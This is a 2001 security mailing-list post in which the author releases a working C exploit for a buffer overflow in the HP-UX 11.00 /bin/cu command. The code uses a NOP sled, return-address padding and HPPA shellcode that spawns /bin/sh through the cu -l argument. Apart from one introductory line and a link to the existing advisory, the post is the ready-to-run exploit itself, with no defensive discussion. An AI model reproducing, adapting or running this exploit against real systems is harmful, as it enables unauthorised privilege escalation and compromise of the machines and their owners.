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HP/UX /bin/cu vulnerability
From: "[ zorgon ]" <zorgon () ANTIONLINE ORG>
Date: Thu, 18 Jan 2001 02:40:41 -0800

I have written an exploit for the HP/UX /bin/cu command.
This is not a new vulnerability (http://www.securityfocus.com/bid/1886 ).

Technical Description - Exploit/Concept Code:

----

/* Copyright (c) 2001 Zorgon
 * All Rights Reserved
 * The copyright notice above does not evidence any
 * actual or intended publication of such source code.
 *
 * HP-UX /bin/cu exploit.
 * Tested on HP-UX 11.00
 * zorgon () antionline org (http://www.nightbird.free.fr)
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define LEN 9778
#define HPPA_NOP 0x0b390280
#define RET 0x7f7eb010
#define OFFSET 1200    /* it works for me */

u_char hppa_shellcode[] = /* K2 <ktwo () ktwo ca> shellcode */
"\xe8\x3f\x1f\xfd\x08\x21\x02\x80\x34\x02\x01\x02\x08\x41\x04\x02\x60\x40"
"\x01\x62\xb4\x5a\x01\x54\x0b\x39\x02\x99\x0b\x18\x02\x98\x34\x16\x04\xbe"
"\x20\x20\x08\x01\xe4\x20\xe0\x08\x96\xd6\x05\x34\xde\xad\xca\xfe/bin/sh\xff";

int
main(int argc , char **argv){
        char buffer[LEN+8];
        int i;
        long retaddr = RET;
        int offset = OFFSET;

        if(argc>1) offset = atoi(argv[1]);
        for (i=0;i<LEN;i+=4)
                *(long *)&buffer[i] = retaddr + offset;

        for (i=0;i<(LEN-strlen(hppa_shellcode)-50);i++)
                *(buffer+i) = HPPA_NOP;

        memcpy(buffer+i,hppa_shellcode,strlen(hppa_shellcode));
        fprintf(stderr, "HP-UX 11.00 /bin/cu exploit\n");
        fprintf(stderr, "Copyright (c) 2001 Zorgon\n");
        fprintf(stderr, "[return address = %x] [offset = %d] [buffer size = %d]\n", retaddr + offset, offset, 
strlen(buffer));

        execl("/bin/cu","cu","-l",buffer,0);
}


----
Z.

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